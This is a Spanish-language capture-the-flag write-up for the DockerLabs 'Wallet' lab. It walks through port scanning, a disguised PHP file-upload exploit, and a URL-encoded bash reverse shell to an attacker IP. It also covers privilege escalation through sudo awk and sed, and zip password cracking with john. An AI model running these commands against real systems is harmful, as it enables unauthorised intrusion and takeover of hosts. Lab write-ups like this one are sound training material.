Wallet , DockerLabs
En este reto de DockerLabs practicamos.
- Scan de puertos
- Intercepcion con burpsuite
- Reconocimiento directorios
Herramientas y recursos
- nmap
- feroxbuster
- burpsuite
- Embeb server php
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX wallet 172.17.0.2
En este caso nos encontramos solo con el protocolo http abierto por el 80.
REvisando el codigo observamos que se nos oculta un virtual host.
Lo añadimos a /etc/hosts y realizamos fuzzing de directorios.
Al entrar a la ruta del vh nos tira una pagina de registro asi que nos registramos y logueamos.
En la pestaña about vemos la version asi que pasamos a buscar exploits para dicha version.
Encontramos la solucion muy bien explicada en exploitdb
Sesguimos los pasos que nos indican.
- Crear una nueva suscripcion
- Añadir un logo y cambiarlo por nuestro payload
- CAmbiar el content type a image/jpeg y añadir “GIF89a” y ebajo de gif añadir nuestro payload.
- Comprobamos que se haya hecho el update correctamente.
- Buscamos nuestro fichero malicioso en images uploads.
Como burpsuite se me atraganta les dejo un videito de como se realiza este ataque , aunque es sencillo algunas herramientas que usamos son bastante complejas pese a no utilzar ni el 10% de su poder.
Una vez la tenemos subida no disponemos a mandarnos una revshell y para ello antes no colocamos a la escucha con nc .
Encondeamos la url antes si no no va a funcionar.
1
bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.0.112%2F1188%20%3C%261%27
Realizamos el tratamiento de la shell
Empezando por lo basico con sudo -l encontramos el bionario awk que nos permite ejecutarlo como pylon.
Movimientos laterales
Hacemos uso de awk nos convertimos en pylon.
1
sudo -u pylon awk 'BEGIN {system("/bin/sh")}'
Vemos que hay otro usuario llamado pinguino investigamos a ver que nos dejaron. En el directorio de pylon tenemos un zip que hemos de traer a la maquina atacante.
Decido utilizar el servcio php para traerme el fichero.
1
php -S 0.0.0.0:8989 -f /home/pylon/
Y en el navegador o en curl solicitamos lo que deseamos.
1
http://panel.wallet.dl:8989/secretitotraviesito.zip
Con el fichero en nuestra maquina comprobamos si esta con pass.
Pasamos a hashsearlo
1
zip2john secretitotraviesito.zip > hash
1
/home/quino/hacking_tools/brute_passwords_hash/john/run/john hash --show
Ya tenemos la pass del otro user nos movemos hacia su entorno. REalizamos lo mismo que antes sudo -l y podemos ver que nos han dejado a sed , miramos en searchbins como se escala con sed.
1
sudo sed -n '1e exec sh 1>&0' /etc/hosts
Muchas gracias por leer , saludos
Comments powered by Disqus.